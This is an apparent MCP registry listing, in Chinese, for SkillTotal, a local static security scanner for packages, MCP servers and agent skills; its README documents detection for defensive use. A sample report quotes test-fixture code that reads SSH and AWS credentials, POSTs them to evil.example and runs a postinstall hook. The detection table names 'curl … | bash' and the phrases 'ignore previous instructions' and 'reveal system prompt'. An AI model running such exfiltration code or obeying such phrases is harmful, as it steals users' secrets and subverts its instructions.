SkillTotal

ai.skilltotal由 skilltotal.ai 发布v0.97.0更新于 Nov 7, 2026

Deterministic security scan of MCP servers, agent skills and npm/PyPI packages. Runs locally.

已验证STDIO仅桌面开发者工具安全与监控

概览

AI 生成的概览

把 SkillTotal 的静态安全扫描器作为本地 MCP 服务器运行,让助手在安装前检查软件包、MCP 服务器和 agent 技能。

可以做什么
  • 扫描组件风险:本地路径、git 地址、npm、PyPI、VS Code 或 Open VSX 来源,返回带文件和行号证据的发现项
  • 对比同一组件的两个版本,查看其间变化
  • 列出扫描器使用的检测规则
  • 报告覆盖 shell 执行、文件系统与敏感路径访问、网络外发、安装期钩子、混淆、MCP 风险、提示注入措辞与后渗透模式,并给出 0 到 100 的风险评分
适用场景
适合在助手安装或升级软件包、MCP 服务器、插件或编辑器扩展时,先对代码行为做一次确定性的本地检查。也适合审查依赖升级,或审计机器上已安装的组件。
运行要求
需要本地 Python 3.10+ 环境并安装 skilltotal 包(推荐 pipx 或 pip),以 skilltotal mcp 启动。仅在扫描远程地址时需要 git。无需账号、API 密钥或令牌。访问 npm、PyPI、VS Code/Open VSX 和 git 来源,以及 guard 与 inventory 检查的注册表和 git 主机时需要网络。
安装前请注意
它只是静态检查而非沙箱,不扫描依赖、运行时获取的代码、二进制文件或超过 2 MiB 的文件,因此低风险结论可能意味着仅部分分析。扫描远程来源会下载包归档或克隆仓库。agent 钩子的锁文件查询会把公共包名和版本发送给 OSV,除非设置 SKILLTOTAL_OSV=0;扫描本身不会外传你的代码。

安装

在 SourceWeft 中

  1. 打开 控制台中的 SkillTotal,将其添加到工作区。
  2. 为需要使用其工具的对话启用该服务。

Desktop only,通过 STDIO。 STDIO 服务会启动本地进程,因此需要 SourceWeft 桌面宿主。

其他 MCP 客户端

参照 仓库 中的启动说明。

README

[SkillTotal]

Check packages before your coding agent installs them.

A static security scanner for npm and PyPI packages, MCP servers, agent skills and repositories.
Runs on your machine · never runs the code it scans · no LLM · every finding cites a file and line

[PyPI] [CI] [OpenSSF Scorecard] [GitHub Action] [Runtime dependencies: 0] [License]

Quick start · Claude Code plugin · GitHub Action · CLI · What it detects · Try it online

[A coding agent runs npm install on a test package; the SkillTotal plugin denies it and names the finding and its file and line]

The plugin's real answer for a sanitized test package. No real package is shown.

Quick start

bash
pipx install skilltotalskilltotal scan npm:express     # or pypi:name, a git URL, a folder, an archive

Check what your coding agent installs. Inside Claude Code:

/plugin marketplace add pezhik/skilltotal/plugin install skilltotal@skilltotal/reload-plugins

Gate pull requests. Add one step to a workflow (full example with permissions):

yaml
      - uses: pezhik/[email protected]        with: { source: ., fail-on: high }

To try it without installing anything, www.skilltotal.ai runs the same engine.

Choose your path

You want toStart here
Check packages before Claude Code installs themClaude Code plugin
Check packages before another agent installs themAgent hooks, each with a support tier, or the MCP server and guard
Scan a package, repository, folder, archive, .vsix, .mcpb or wheel yourselfskilltotal scan
Gate pull requests in CIGitHub Action and other CI
Adopt it on a repository that already has findingsRolling out with a baseline
Review a dependency upgrade before you merge itdiff --fail-on-new
Check the MCP servers, plugins, skills and editor extensions installed on your machine every dayInstalled components
Run that check on a company fleet, feed a SIEM, export an AI-BOMRunning it on a fleet
Accept a false positiveAccepting findings
Scan through a company registry mirrorRegistry mirrors

What it catches

It scans npm and PyPI packages, MCP servers, agent skills and plugins, VS Code extensions, git repositories (or one folder of them), local folders, archives (including .mcpb, .vsix and wheels) and single files, and looks for:

CategoryExamples
Shell executionsubprocess.*, os.system, child_process.exec, curl … | bash handed to a shell call
Filesystem accessopen, read_text/write_text, fs.readFile/writeFile
Sensitive paths~/.ssh, ~/.aws, .env, id_rsa, credentials, secrets
Network egressrequests, urllib, aiohttp, fetch, axios
Install-time executionnpm preinstall/postinstall/prepare, setup.py hooks, a lifecycle script that downloads or decodes code and runs it
Dynamic code executioneval, exec, compile, new Function, vm.runInNewContext
Obfuscationdecode-and-execute chains, base64 blobs, hex escaping, minification
MCP risksmanifests, dangerous tools (shell/fs/network/credential), server commands
Prompt surface"ignore previous instructions", "reveal system prompt", exfiltration phrasing
Post-exploitationreverse tunnels and shells, planted SSH keys, autostart persistence, antivirus or Gatekeeper evasion, host beacons

It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and data flows such as a credential read followed by network egress. skilltotal rules list prints every rule; coverage by component type and accuracy notes are in docs/detection.md.

Example report (a sanitized test package from this repository)
text
$ skilltotal scan tests/fixtures/malicious_npm_pkgSkillTotal Security Report==========================Component : evil-npm-pkg 0.0.1 (npm_package)Source    : tests/fixtures/malicious_npm_pkgVerdict   : HIGH - High risk - review before installingRisk      : HIGH  (score 70/100)
Findings (3 risk, 4 capability, not scored):  [CRITICAL] ST-COMBO-EXFIL  Sensitive-data access combined with network egress    Evidence:      - index.js:7        const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');      - steal.js:3        const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');      - index.js:13        fetch('http://evil.example/collect', { method: 'POST', body: key });      ... and 1 more (all of them in --json)
  [HIGH] ST-INSTALL-DROPPER  Install-time hook paired with a dropper payload    Evidence:      - package.json:6        "postinstall": "node steal.js"  ...

Shortened. The full report also prints descriptions, recommendations, capabilities and review items.

Why SkillTotal

  • The Claude Code plugin checks each npx, npm install, pip install or claude mcp add command before the agent runs it.
  • Scans run on your machine with no account, API token, upload or telemetry, and SkillTotal never runs the code it reads. The exception is the agent hooks' lockfile lookup: public package names and versions go to OSV, and SKILLTOTAL_OSV=0 turns that off (Network access).
  • Detection is regex and AST matching with no LLM, so the same input on the same Python version gives the same findings and score. Every finding cites a file and line, and recall and precision are published.
  • Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.
  • Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.
  • It is open source (Apache-2.0), and the full static report is free, forever.

How it works

[Pipeline: source, fetch without running, index, scanners, correlate and score, outputs]

SkillTotal fetches the component (a shallow git clone or the package archive), reads every file once and runs its scanners over them. It correlates the findings (a credential read plus network egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the component's own files, never at the user, company, environment, deployment or runtime context. Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be tied to evidence goes to needs_review, which never affects the score. A capability such as shell or network access is reported but scores zero. Details in docs/architecture.md and docs/scoring.md.

Claude Code plugin

Before an install command runs, the plugin scans each package it names, locally and with the same engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar installs, claude mcp add (and the Codex and Gemini equivalents), claude plugin install, code --install-extension and npx skills add, including when they are wrapped in sudo, bash -c, $(...) or PowerShell. Install the CLI first (skilltotal --version must work where you start Claude Code), then run the three commands from Quick start.

The scan findsWhat happens to the install
Malicious indicatorsDenied. The agent is told the finding and its file:line
High or critical risk, a look-alike package name, or anything it could not check (a custom registry, a name built at run time, a command hidden behind a decoder, a check that failed or ran out of time)Claude Code asks you
Nothing of that kindIt installs. The agent gets a one-line note with the version checked and its score
Anything it would ask about, in CIDenied: CI is fail-closed (see below)

Each install command gets a console line saying what was checked, or what was not and why. In CI (CI, GITLAB_CI, JENKINS_URL and similar, or SKILLTOTAL_STRICT=1) nobody is there to answer, so anything it would ask about is denied. Installs it could not check are denied too, unless SKILLTOTAL_ALLOW_UNCHECKED lists their kind.

It does not scan the dependencies of the named package, the code of installs that name no package (npm ci, pip install -r, uv sync: their lockfile is only looked up in OSV, and the console says what was and was not covered), scripts on disk, shell-profile aliases or functions, downloaded scripts (curl ... | bash, reported as not checked), repositories fetched with git clone, or code already running on your account (it can rewrite the verdict cache or the CLI). Updates that install themselves, such as an editor extension or an npx -y server that runs its latest release, run no install command. The plugin's sentinel scans what changed at session start and tells the agent at the next one. The plugin has no override for a denied install, and it is a static check, not a sandbox: run the agent in a container for code you don't trust. It also adds a /skilltotal:scan <target> command and registers the SkillTotal MCP server. Recognized commands, settings, cache, timing, team rollout and troubleshooting are in docs/plugin.md.

Other agents

skilltotal hook install adds the same check to other agents, leaving their other hooks alone. An agent that cannot ask you gets a denial that says how to go ahead.

AgentTier
Claude Codeverified against Claude Code 2.1.316 on 2026-10-31
Gemini CLIhook tested in Gemini CLI 0.45.2 on 2026-10-31 with a stand-in model; not yet run with a live model
Cursor, Windsurf, Devin, Codex, VS Code Copilotpreview: built to the agent's documented hook format, not yet run in the agent

docs/agent-hooks.md has what each one can and cannot see, and the managed templates for a fleet.

CI / GitHub Action

Run SkillTotal in CI and see the findings in your repository's Security → Code scanning tab: add the step from Quick start to a workflow with security-events: write (full workflow).

A malicious indicator fails the job at any severity; a capability on its own, such as a shell call or network access, never does. The log names the gate that tripped and the finding behind it. Findings are uploaded as SARIF. A private repository has Code Scanning only with GitHub Advanced Security; without it, set upload-sarif: 'false'. comment-on-pr: 'true' (with pull-requests: write) keeps one summary comment up to date. The repository's .skilltotal.toml is applied, so put it under CODEOWNERS (Configuration). docs/ci.md covers every input and output, scheduled re-checks of a third-party package, upgrade reviews, pre-commit, GitLab CI, Jenkins and rolling out on an existing repository. Anywhere else Python 3.10+ runs, install a pinned release and gate on the exit code (0 passed, 2 a gate tripped, 1 the scan could not run):

bash
pip install skilltotal==0.97.0      # in a virtual environment outside the checkoutskilltotal scan . --fail-on high

CLI

bash
skilltotal scan ./path/to/component           # a folder, archive, file, git URL, npm:name or pypi:nameskilltotal scan ./downloads/some-extension.vsix   # also .mcpb, .dxt and .whl filesskilltotal scan vscode:publisher.name         # an editor extension by id (openvsx: for Open VSX)skilltotal scan ./component --json            # JSON to stdoutskilltotal scan ./component --sarif --output report.sarifskilltotal scan ./component --fail-on high    # exit 2 on a high/critical risk findingskilltotal scan ./component --write-baseline .skilltotal-baseline.jsonskilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-highskilltotal diff npm:[email protected] npm:[email protected] --fail-on-new highskilltotal guard npm:some-mcp-server          # exit 2 if it should not be installedskilltotal guard --installed                  # the MCP servers, plugins, skills and editor extensions installed hereskilltotal guard --installed --state ~/.skilltotal-state.json   # also catch risk gained in an updateskilltotal inventory --sbom                   # AI-BOM: CycloneDX 1.6 JSON of your agent stackskilltotal rules list

With no gate flag and no gate in a .skilltotal.toml, scan exits 0 whatever it finds, even for a malicious verdict. In a script, use skilltotal guard or a gate (--fail-on) and check the exit code. Every command, flag, exit code and gate is in the CLI reference; a daily check of what is installed, with cron, launchd or Task Scheduler, is in Installed components.

MCP server

skilltotal mcp runs the engine as a stdio MCP server so your agent can check a component before installing it. The Claude Code plugin already registers it. In Claude Code without the plugin:

bash
claude mcp add skilltotal -- skilltotal mcp

For Claude Desktop, Cursor, Windsurf or any client that reads mcpServers:

json
{ "mcpServers": { "skilltotal": { "command": "skilltotal", "args": ["mcp"] } } }

It has three read-only tools: scan_component (a local path, git URL, npm:, pypi:, vscode: or openvsx: source), diff_components (what changed between two versions) and list_rules. VS Code, the uvx/npx forms and the path rules are in docs/mcp-server.md.

Install

Requires Python 3.10+, with zero runtime dependencies. git is needed only for scanning remote URLs and for scan --staged. Scanning inside a directory you don't trust, installing on an offline machine and other install details are in docs/cli.md.

bash
pipx install skilltotal      # recommended for the CLI; then `pipx ensurepath` if it is not foundpip install skilltotal       # into a virtual environment, or to use it as a library

With npx (it needs uv, pipx, or Python 3.11+ with skilltotal installed), name the release with --package so npx does not run a skilltotal from the scanned repository's node_modules/.bin:

bash
npx -y [email protected] -- skilltotal scan https://github.com/owner/repo

Measured, not asserted

  • Detection efficacy: recall and precision on a labeled corpus we built and publish (222 malicious and 184 benign samples), regenerated every release and enforced by CI as a floor. A perfect score on our own corpus guards against regressions; it is not a claim about every attack in the wild. Each rule behind the survey's OWASP class counts also has labeled samples of its own, listed in the report's rule coverage table.
  • The MCP registry, scanned (September 2026, engine 0.49.0, rulesets 56 to 59; later rule changes are not reflected): 15,341 of the 17,535 distinct components in the official registry (87.5%). Of those scanned, 88.2% expose tools to an agent, 64.8% can reach the network and 21.1% can execute shell commands. Still, all but 116 of them score low risk, because a capability on its own scores zero. Before this run we read every malicious-indicator hit from an earlier run by hand and fixed the false positives. Aggregates (JSON) · the harness.

Limitations

  • Files over 2 MiB are not read. Minified JavaScript/TypeScript bundles are listed but not analyzed, except the scripts npm runs at install and the entry points a package.json names. A VS Code extension's entry points are read up to 8 MiB. A low verdict over unread code reads "Partially analyzed".
  • Dependencies are not scanned. node_modules/, vendor/ and virtual environments are skipped.
  • Code fetched or generated at run time is not analyzed, nor are binaries and compiled artifacts.
  • Languages. Shell execution, network access, file access and dynamic code are analyzed in Python and JavaScript/TypeScript. Shell, PowerShell and batch scripts are checked for download-and-run, decode-and-run, evasion and post-exploitation idioms. Other languages get only the secret, sensitive-path and hidden-Unicode checks.
  • The default gate does not count unread code, and unread code never passes in silence: the log names it (Not everything was analyzed: ...), the verdict reads "Partially analyzed", and --fail-on-unanalyzed fails on it. That covers files too large to read, minified bundles, code in languages not analyzed for behavior, and compiled code shipped without its source (a .pyc, .pyo or .class with no .py or .java of the same name beside it).
  • Detection is at the call/import level. A capability shows the code is there, not that it is misused. SkillTotal does not replace a sandbox, a penetration test or a manual code review.

For how the four bypasses published in June 2026 fare against this engine, see What we catch. The full list is in docs/detection.md.

Configuration

Commit a .skilltotal.toml instead of repeating flags: gate levels, excludes, ignored rules, a baseline file and per-rule block / warn / ignore policy. scan reads all of it and diff reads the excludes and ignored rules; guard and inventory read none (docs/configuration.md). Limits and registry mirrors are set with SKILLTOTAL_* environment variables.

To accept a reviewed finding, add an inline skilltotal:ignore[ST-ID] comment (local folders only, never for a malicious indicator), record it in a baseline, or, for guard and scheduled sweeps of installed components, list it in an accept file (--accept FILE: one component at one exact version, with a reason). Accepting findings compares them. In CI the scanned repository's own config and markers apply, so put .skilltotal.toml and the baseline under CODEOWNERS with branch protection.

Network access

A scan of a local folder, archive or file makes no network request. SkillTotal goes online only for:

  • git URLs: git clone --depth 1; for github.com, GitHub REST API calls (api.github.com) first, to check the size of what would be cloned
  • npm: / pypi: sources: package metadata and archive from registry.npmjs.org or PyPI (pypi.org and its file host), or from your mirror (SKILLTOTAL_NPM_REGISTRY, SKILLTOTAL_PYPI_INDEX)
  • vscode: / openvsx: sources: extension metadata and the .vsix from marketplace.visualstudio.com or open-vsx.org, and their download hosts
  • --provenance: the package's registry metadata
  • inventory, guard --installed, watch, the agent hooks and the MCP server: the same registries and git hosts, for the packages they check
  • The agent hook's lockfile lookup: for an install that names no package (npm ci, uv sync), the hook sends the names and exact versions of public-registry packages to OSV (api.osv.dev, operated by Google) and nothing else. A package is sent only when the install would fetch it from the public registry: with a custom registry configured, an entry with no public URL in the lockfile is not sent. A clean result means OSV lists no known-malicious version, not that the package is safe. Set SKILLTOTAL_OSV=0 to turn it off. What is sent, and its limits

Only the agent hook does that lookup. Scanning sends nothing about your code anywhere. SkillTotal sends no telemetry, needs no account and makes no LLM call.

Open source vs SkillTotal Cloud

This engine (the analysis, all detection rules and the CLI) is open source and complete on its own, free to run locally or in CI. Paid features are planned for SkillTotal Cloud as server-side services on top of it; their code is not part of this repository (docs/open-core.md).

Documentation

SectionNow in
Every command and flag, sources and archive types, exit codes, gates, status badgedocs/cli.md
Installed components: discovery, editor extensions, update drift (--state), daily and fleet checks, AI-BOMdocs/installed-components.md
Accepting findings: inline markers, baselines, ignore and [policy], accept filesdocs/accepting-findings.md
Project config and which commands read it, environment variables, registry mirrorsdocs/configuration.md
Action inputs and outputs, pre-commit, upgrade reviews, other CI systems, rolling outdocs/ci.md
MCP server clients, path rules, checking installs in other agentsdocs/mcp-server.md
What it detects, coverage by component type, typical findings, verdict, out of scope, accuracy notesdocs/detection.md
Malware archetypes and the rules that catch themdocs/detection-coverage.md
Output formats: scan report (traits, OWASP mapping), SARIF, diff, guard and inventory JSON, AI-BOM propertiesdocs/report-schema.md
Claude Code plugin referencedocs/plugin.md
Hooks for other agents, the sentinel, fleet rolloutdocs/agent-hooks.md
Architecturedocs/architecture.md

Contributing, security and license

Development setup: pip install -e ".[dev]", then pytest. Detection rules are added corpus-first (docs/contributing-rules.md). Report false positives as issues; they are fixed in the open. Security issues: SECURITY.md.

Apache-2.0, see also NOTICE.

来源:README.md,提交 29c1ac6

工具

0
SourceWeft 尚未在沙箱中启动过该软件包,因此其工具未知。

版本历史

53
  1. v0.97.0最新Nov 7, 2026
  2. v0.95.0Nov 5, 2026
  3. v0.94.0Nov 5, 2026
  4. v0.93.0Nov 5, 2026
  5. v0.92.0Nov 4, 2026
  6. v0.91.0Nov 4, 2026
  7. v0.90.0Nov 3, 2026
  8. v0.89.0Nov 1, 2026
  9. v0.88.0Oct 31, 2026
  10. v0.87.0Oct 31, 2026
  11. v0.86.0Oct 30, 2026
  12. v0.85.1Oct 29, 2026
  13. v0.83.0Oct 26, 2026
  14. v0.82.0Oct 24, 2026
  15. v0.81.0Oct 23, 2026
  16. v0.80.0Oct 23, 2026
  17. v0.79.2Oct 22, 2026
  18. v0.79.1Oct 20, 2026
  19. v0.79.0Oct 20, 2026
  20. v0.78.1Oct 19, 2026
  21. v0.78.0Oct 19, 2026
  22. v0.76.0Oct 17, 2026
  23. v0.75.0Oct 17, 2026
  24. v0.74.0Oct 16, 2026
  25. v0.73.0Oct 16, 2026
  26. v0.72.0Oct 15, 2026
  27. v0.71.0Oct 15, 2026
  28. v0.70.0Oct 15, 2026
  29. v0.69.0Oct 15, 2026
  30. v0.68.0Oct 14, 2026
  31. v0.66.0Oct 14, 2026
  32. v0.65.0Oct 13, 2026
  33. v0.64.0Oct 12, 2026
  34. v0.63.0Oct 11, 2026
  35. v0.62.0Oct 10, 2026
  36. v0.61.1Oct 10, 2026
  37. v0.58.0Oct 9, 2026
  38. v0.57.0Oct 9, 2026
  39. v0.56.4Oct 8, 2026
  40. v0.56.3Oct 8, 2026
  41. v0.56.2Oct 7, 2026
  42. v0.56.1Oct 7, 2026
  43. v0.56.0Oct 6, 2026
  44. v0.55.0Oct 6, 2026
  45. v0.54.0Oct 6, 2026
  46. v0.53.0Sep 24, 2026
  47. v0.52.0Sep 24, 2026
  48. v0.51.0Sep 22, 2026
  49. v0.50.2Sep 21, 2026
  50. v0.50.0Sep 20, 2026
  51. v0.49.0Sep 19, 2026
  52. v0.48.3Sep 17, 2026
  53. v0.48.1Sep 16, 2026

评分

已满足适用检查项的 50%

该评分衡量此收录条目的完整程度,依据注册中心条目、端点与公开来源计算得出。它不是对服务器本身的评价,也不表示服务器安全或当前可用:可连通性是带日期的检查结果,评分也不包含安装量或用户评价。

  • 近 30 天内可连通25 分

    请保持端点能够响应 MCP 握手;SourceWeft 每 30 天探测一次。

  • 已声明认证方式10 分

    请在注册中心条目中声明凭据请求头,或保持端点能够响应探测,以便判定其认证方式。

  • 已列出工具15 分

    请让服务器在无凭据时响应 tools/list,或发布可在沙箱中无凭据启动的软件包。

  • 描述必需15 分
  • 图标10 分
  • 文档15 分
  • 许可证10 分